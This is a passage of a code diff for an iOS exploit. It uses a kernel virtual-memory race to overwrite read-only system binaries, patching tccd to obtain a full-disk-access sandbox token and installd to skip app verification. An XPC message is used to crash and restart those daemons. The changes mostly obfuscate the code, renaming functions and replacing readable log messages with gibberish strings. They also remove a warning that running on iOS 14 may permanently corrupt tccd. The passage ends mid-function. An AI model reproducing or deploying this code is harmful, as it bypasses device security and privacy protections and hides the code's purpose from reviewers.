xpc_crasher("com.apple.tccd");
|
||||
call_tcc_daemon(^(NSString* _Nullable extension_token) {
|
||||
over_write_file(fd, originalData);
|
||||
// crash_with_xpc_thingy("com.apple.tccd");
|
||||
NSError* returnError = nil;
|
||||
if (extension_token == nil) {
|
||||
returnError =
|
||||
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:2
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||
NSLocalizedDescriptionKey : @"no extension token returned."
|
||||
}];
|
||||
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||
returnError = [NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:3
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||
NSLocalizedDescriptionKey : @"failed: returned a media library token "
|
||||
@"instead of an app sandbox token."
|
||||
}];
|
||||
extension_token = nil;
|
||||
@@ -376,7 +382,7 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
});
|
||||
}
|
||||
|
||||
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
void grant_fda(void (^completion)(NSError* _Nullable)) {
|
||||
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||
// class introduced in iOS 15.0.
|
||||
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||
@@ -385,15 +391,14 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
code:6
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey :
|
||||
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||
@"Not supported on iOS 14 and below."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||
inDomains:NSUserDomainMask][0];
|
||||
NSURL* sourceURL =
|
||||
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
|
||||
NSError* error = nil;
|
||||
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||
encoding:NSUTF8StringEncoding
|
||||
@@ -406,7 +411,7 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
if (error) {
|
||||
completion(error);
|
||||
return;
|
||||
@@ -429,7 +434,7 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
|
||||
/// MARK - installd patch
|
||||
|
||||
struct installd_remove_app_limit_offsets {
|
||||
struct daemon_remove_app_limit_offsets {
|
||||
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||
uint64_t offset_data_const_end_padding;
|
||||
@@ -437,73 +442,73 @@ struct installd_remove_app_limit_offsets {
|
||||
uint64_t offset_return_true;
|
||||
};
|
||||
|
||||
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||
.offset_data_const_end_padding = 0x79c38,
|
||||
.offset_return_true = 0x19860,
|
||||
};
|
||||
|
||||
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
|
||||
size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
uint64_t str_file_offset = str_offset - execmap;
|
||||
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
uint64_t val = *(uint64_t*)(execmap + i);
|
||||
if ((val & 0xfffffffful) != str_file_offset) {
|
||||
continue;
|
||||
}
|
||||
// baseMethods
|
||||
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||
if (*(uint64_t*)(execmap + i + 8) != 0) {
|
||||
return i + 8;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
|
||||
// mov w0, #1
|
||||
// ret
|
||||
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
return offset - execmap;
|
||||
}
|
||||
|
||||
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||
struct installd_remove_app_limit_offsets* offsets) {
|
||||
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
|
||||
struct daemon_remove_app_limit_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
// printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
|
||||
// printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||
pchfind_find_rwt_base_methods(execmap, executable_length,
|
||||
"MIInstallableBundle")) == 0) {
|
||||
printf("no MIInstallableBundle class_rw_t\n");
|
||||
// printf("no MIInstallableBundle class_rw_t\n");
|
||||
return false;
|
||||
}
|
||||
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||
(*(uint64_t*)(executable_map +
|
||||
(*(uint64_t*)(execmap +
|
||||
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||
0xffffffull;
|
||||
|
||||
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
|
||||
0) {
|
||||
printf("no return true\n");
|
||||
// printf("no return true\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
@@ -521,7 +526,7 @@ struct objc_method_list {
|
||||
struct objc_method methods[];
|
||||
};
|
||||
|
||||
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
|
||||
uint64_t new_offset, uint64_t* out_copied_length,
|
||||
void (^callback)(const char* sel,
|
||||
uint64_t* inout_function_pointer)) {
|
||||
@@ -551,9 +556,9 @@ static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
}
|
||||
};
|
||||
|
||||
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||
struct installd_remove_app_limit_offsets offsets = {};
|
||||
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
|
||||
struct daemon_remove_app_limit_offsets offsets = {};
|
||||
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
@@ -562,7 +567,7 @@ static NSData* make_patch_installd(void* executableMap, size_t executableLength)
|
||||
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||
uint64_t copied_size = 0;
|
||||
uint64_t new_method_list_offset = current_empty_space;
|
||||
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
current_empty_space, &copied_size,
|
||||
^(const char* sel, uint64_t* inout_address) {
|
||||
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||
@@ -579,7 +584,7 @@ static NSData* make_patch_installd(void* executableMap, size_t executableLength)
|
||||
return data;
|
||||
}
|
||||
|
||||
bool patch_installd() {
|
||||
bool installdaemon_patch() {
|
||||
const char* targetPath = "/usr/libexec/installd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
@@ -587,24 +592,26 @@ bool patch_installd() {
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
NSLog(@"can't patchfind");
|
||||
//can't patchfind
|
||||
// NSLog(@"wuiydqw98uuqwd");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
if (!over_write_file(fd, sourceData)) {
|
||||
over_write_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
NSLog(@"can't overwrite");
|
||||
//can't overwrite
|
||||
// NSLog(@"wfqiohuwdhuiqoji");
|
||||
return false;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
xpc_crasher("com.apple.mobile.installd");
|
||||
crash_with_xpc_thingy("com.apple.mobile.installd");
|
||||
sleep(1);
|
||||
|
||||
// TODO(zhuowei): for now we revert it once installd starts
|
||||
// so the change will only last until when this installd exits
|
||||
// overwrite_file(fd, originalData);
|
||||
// over_write_file(fd, originalData);
|
||||
return true;
|
||||
}
|
||||
@@ -1,11 +1,11 @@
|
||||
#ifndef helpers_h
|
||||
#define helpers_h
|
||||
|
||||
char* get_temp_file_path(void);
|
||||
char* get_temporary_file_location_paths(void);
|
||||
void test_nsexpressions(void);
|
||||
char* set_up_tmp_file(void);
|
||||
char* setup_temporary_file(void);
|
||||
|
||||
void xpc_crasher(char* service_name);
|
||||
void crash_with_xpc_thingy(char* service_name);
|
||||
|
||||
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||
|
||||
@@ -3,18 +3,18 @@
|
||||
#include <mach/mach.h>
|
||||
#include <dirent.h>
|
||||
|
||||
char* get_temp_file_path(void) {
|
||||
char* get_temporary_file_location_paths(void) {
|
||||
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||
}
|
||||
|
||||
// create a read-only test file we can target:
|
||||
char* set_up_tmp_file(void) {
|
||||
char* path = get_temp_file_path();
|
||||
printf("path: %s\n", path);
|
||||
char* setup_temporary_file(void) {
|
||||
char* path = get_temporary_file_location_paths();
|
||||
// printf("path: %s\n", path);
|
||||
|
||||
FILE* f = fopen(path, "w");
|
||||
if (!f) {
|
||||
printf("opening the tmp file failed...\n");
|
||||
// printf("opening the tmp file failed...\n");
|
||||
return NULL;
|
||||
}
|
||||
char* buf = malloc(PAGE_SIZE*10);
|
||||
@@ -27,22 +27,24 @@ char* set_up_tmp_file(void) {
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct xpc_w00t {
|
||||
struct x_p_c_w_zerozero_t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||
//a=port right extraction failed: %s\n
|
||||
// printf("PREFail: %s\n", mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||
//made so: 0x%x from recv: 0x%x\n
|
||||
// printf("ms 0x%x fr: 0x%x\n", so, recv);
|
||||
return so;
|
||||
}
|
||||
|
||||
@@ -51,7 +53,7 @@ mach_port_t get_send_once(mach_port_t recv) {
|
||||
|
||||
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||
|
||||
void xpc_crasher(char* service_name) {
|
||||
void crash_with_xpc_thingy(char* service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
|
||||
@@ -59,39 +61,44 @@ void xpc_crasher(char* service_name) {
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up %s\n", service_name);
|
||||
//unable to look up
|
||||
// printf("utluqwd %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("bad service port\n");
|
||||
//bad service port
|
||||
// printf("wih1221udq\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// allocate the client and reply port:
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
//port allocation failed:
|
||||
// printf("padiuhewi %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
|
||||
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||
//port right insertion failed:
|
||||
// printf("weediuwe %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
//port allocation failed:
|
||||
// printf("wuiq21d %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
struct x_p_c_w_zerozero_t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
@@ -117,10 +124,12 @@ void xpc_crasher(char* service_name) {
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||
//w00t message send failed:
|
||||
// printf("ondwehu %s\n", mach_error_string(err));
|
||||
return;
|
||||
} else {
|
||||
printf("sent xpc w00t message\n");
|
||||
//sent xpc w00t message\n
|
||||
// printf("wq98ywqe");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), so0);
|
||||
@@ -12,7 +12,8 @@
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
//vm_unaligned_copy_switch_race
|
||||
#include "vm_unalign_csr.h"
|
||||
|
||||
#define T_QUIET
|
||||
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||
@@ -27,39 +28,40 @@
|
||||
#define T_DECL(a, b) static void a(void)
|
||||
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
|
||||
struct context1 {
|
||||
vm_size_t obj_size;
|
||||
vm_address_t e0;
|
||||
mach_port_t mem_entry_ro;
|
||||
mach_port_t mem_entry_rw;
|
||||
dispatch_semaphore_t running_sem;
|
||||
pthread_mutex_t mtx;
|
||||
volatile bool done;
|
||||
struct contextual_structure {
|
||||
vm_size_t ob_sizing;
|
||||
vm_address_t vmaddress_zeroe;
|
||||
mach_port_t memory_entry_r_o;
|
||||
mach_port_t memory_entry_r_w;
|
||||
dispatch_semaphore_t currently_active_sem;
|
||||
pthread_mutex_t mutex_thingy;
|
||||
volatile bool finished;
|
||||
};
|
||||
|
||||
//switcheroo_thread
|
||||
static void *
|
||||
switcheroo_thread(__unused void *arg)
|
||||
sro_thread(__unused void *arg)
|
||||
{
|
||||
kern_return_t kr;
|
||||
struct context1 *ctx;
|
||||
struct contextual_structure *ctx;
|
||||
|
||||
ctx = (struct context1 *)arg;
|
||||
ctx = (struct contextual_structure *)arg;
|
||||
/* tell main thread we're ready to run */
|
||||
dispatch_semaphore_signal(ctx->running_sem);
|
||||
while (!ctx->done) {
|
||||
dispatch_semaphore_signal(ctx->currently_active_sem);
|
||||
while (!ctx->finished) {
|
||||
/* wait for main thread to be done setting things up */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
if (ctx->done) {
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
if (ctx->finished) {
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
break;
|
||||
}
|
||||
/* switch e0 to RW mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_rw,
|
||||
ctx->memory_entry_r_w,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
@@ -70,11 +72,11 @@ switcheroo_thread(__unused void *arg)
|
||||
usleep(100);
|
||||
/* switch bakc to original RO mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
@@ -82,13 +84,14 @@ switcheroo_thread(__unused void *arg)
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||
/* tell main thread we're don switching mappings */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
usleep(100);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||
//unaligned_copy_switch_race
|
||||
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
|
||||
bool retval = false;
|
||||
pthread_t th = NULL;
|
||||
int ret;
|
||||
@@ -100,79 +103,81 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
vm_size_t copied_size;
|
||||
int loops;
|
||||
vm_address_t e2, e5;
|
||||
struct context1 context1, *ctx;
|
||||
struct contextual_structure context1, *ctx;
|
||||
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||
vm_address_t ro_addr, tmp_addr;
|
||||
memory_object_size_t mo_size;
|
||||
|
||||
ctx = &context1;
|
||||
ctx->obj_size = 256 * 1024;
|
||||
ctx->ob_sizing = 256 * 1024;
|
||||
|
||||
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
|
||||
if (file_mapped == MAP_FAILED) {
|
||||
fprintf(stderr, "failed to map\n");
|
||||
// fprintf(stderr, "failed to map\n");
|
||||
return false;
|
||||
}
|
||||
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||
fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->obj_size);
|
||||
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
|
||||
// fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->ob_sizing);
|
||||
return true;
|
||||
}
|
||||
ro_addr = (vm_address_t)file_mapped;
|
||||
|
||||
ctx->e0 = 0;
|
||||
ctx->running_sem = dispatch_semaphore_create(0);
|
||||
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||
ctx->vmaddress_zeroe = 0;
|
||||
ctx->currently_active_sem = dispatch_semaphore_create(0);
|
||||
//c=dispatch_semaphore_create
|
||||
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
|
||||
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||
ctx->done = false;
|
||||
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||
ctx->finished = false;
|
||||
ctx->memory_entry_r_w = MACH_PORT_NULL;
|
||||
ctx->memory_entry_r_o = MACH_PORT_NULL;
|
||||
#if 0
|
||||
/* allocate our attack target memory */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&ro_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||
/* initialize to 'A' */
|
||||
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||
memset((char *)ro_addr, 'A', ctx->ob_sizing);
|
||||
#endif
|
||||
|
||||
/* make it read-only */
|
||||
kr = vm_protect(mach_task_self(),
|
||||
ro_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
TRUE, /* set_maximum */
|
||||
VM_PROT_READ);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||
/* make sure we can't get read-write handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_ro,
|
||||
&ctx->memory_entry_r_o,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||
/* take read-only handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||
&ctx->mem_entry_ro,
|
||||
&ctx->memory_entry_r_o,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
//c= wrong mem_entry size
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
|
||||
/* make sure we can't map target memory as writable */
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
@@ -182,10 +187,10 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
@@ -196,25 +201,26 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
/* allocate a source buffer for the unaligned copy */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e5,
|
||||
ctx->obj_size * 2,
|
||||
ctx->ob_sizing * 2,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||
/* initialize to 'C' */
|
||||
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||
memset((char *)e5, 'C', ctx->ob_sizing * 2);
|
||||
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
|
||||
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
|
||||
|
||||
int overwrite_first_diff_offset = -1;
|
||||
char overwrite_first_diff_value = 0;
|
||||
for (int off = 0; off < overwrite_length; off++) {
|
||||
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
|
||||
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||
overwrite_first_diff_offset = off;
|
||||
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||
}
|
||||
}
|
||||
if (overwrite_first_diff_offset == -1) {
|
||||
fprintf(stderr, "no diff?\n");
|
||||
//b=no diff?
|
||||
fprintf(stderr, "uewiyfih");
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -226,36 +232,37 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
tmp_addr = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||
/* initialize to 'D' */
|
||||
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
|
||||
/* get a memory entry handle for that RW memory */
|
||||
mo_size = ctx->obj_size;
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
tmp_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_rw,
|
||||
&ctx->memory_entry_r_w,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||
//c=wrong mem_entry size
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||
tmp_addr = 0;
|
||||
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
|
||||
/* start racing thread */
|
||||
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||
